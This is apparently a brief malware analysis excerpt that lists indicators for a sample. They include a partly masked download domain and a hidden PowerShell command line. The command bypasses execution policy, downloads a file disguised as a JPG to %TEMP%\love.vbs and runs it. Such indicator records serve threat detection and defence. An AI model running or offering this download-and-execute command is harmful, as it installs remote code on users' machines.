Technical Information
- http://li###-info.com/microsoft%20_office.jpg as %temp%\love.vbs
- http://li###-info.com/microsoft%20_office.jpg
- DNS ASK li###-info.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://li###-info.com/microsoft%20_office.jpg','%TEMP%\love.vbs');Start-Process '%TEMP%\lo...' (with hidden window)